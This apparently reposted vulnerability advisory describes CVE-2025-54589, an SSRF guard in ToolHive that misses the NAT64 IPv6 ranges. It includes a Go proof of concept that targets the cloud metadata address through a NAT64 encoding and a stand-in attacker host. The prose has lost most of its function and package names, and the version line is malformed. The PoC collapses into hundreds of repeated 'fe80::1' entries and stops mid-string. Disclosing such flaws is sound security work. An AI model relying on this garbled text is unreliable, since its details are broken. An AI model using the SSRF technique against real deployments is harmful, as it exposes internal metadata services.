CVE-2025-54589: SSRF Guard Misses IPv6 NAT64 Ranges

Vulnerability Summary: SSRF Guard Misses IPv6 NAT64 Ranges Vulnerability Overview Vulnerability Name: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway CVE: CVE-2025-54589 Severity: Low (Server-Side Request Forgery, CWE-918) Affected Versions: = 0.29.1 Core Issue: The function in constructs a private network range table that does not include the NAT64 ranges and . NAT64 addresses are globally routable IPv6 addresses, returns true, and they are not in the private network list, causing to return false, thereby invalidating the SSRF protection. Impact Scope Affected Module: Affected Package: ( function) Affected Components: - Embedded OAuth Authorization Server (CICD): External OAuth clients can control , accessing internal metadata services via the NAT64 gateway - ( ): HTTP client used for registry/OIDC discovery/token exchange - ( ): Skips the check Actual Impact: When deployed behind a NAT64/DNS64 gateway, an attacker can control the URL to reach local addresses that ToolHive attempts to access (such as the metadata address), resulting in blind internal reachability: - HTTPS-only rejects non-loopback targets - TLS certificate verification: requires internal service certificates - No response reflection: requires DNS resolution results to match the hostname of the target URL - Reachability: Embedded CICD path, OIDC discovery, skills git resolver Fix Solution Root Cause: relies on a manually maintained CIDR list. NAT64 addresses are globally routable IPv6 addresses, considered non-private by , thereby bypassing the check. Fix Method: 1. Add NAT64 prefixes to the list 2. Add additional checks for and in 3. As a defense-in-depth measure, add explicit checks for NAT64 prefixes in and POC Code ```go module poc go 1.20 require github.com/stacklok/toolhive v0.29.0 package main import ( "context" "fmt" "net/http" "net/http/httptest" "strings" "time" "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/oauthproto" "github.com/stacklok/toolhive/pkg/oauthproto/cicd" ) var _ = cicd.CICDClientMetadataDocument{} // real attacker-reachable endpoint (https-only) const ( attackerHost = "cicd.attacker.example" nat64Local = "64:ff9b:1::a9fe" // RFC 6052 NAT64 of 169.254.169.254 ) func main() { // Part A: real classifier on NAT64 vs private addresses. for _, s := range []string{ "169.254.169.254", "64:ff9b::a9fe", "64:ff9b:1::a9fe", "10::1", "fd00:0:0:0:0:0:0:1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80::1", "fe80

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2025-54589: SSRF Guard Misses IPv6 NAT64 Ranges

More from this source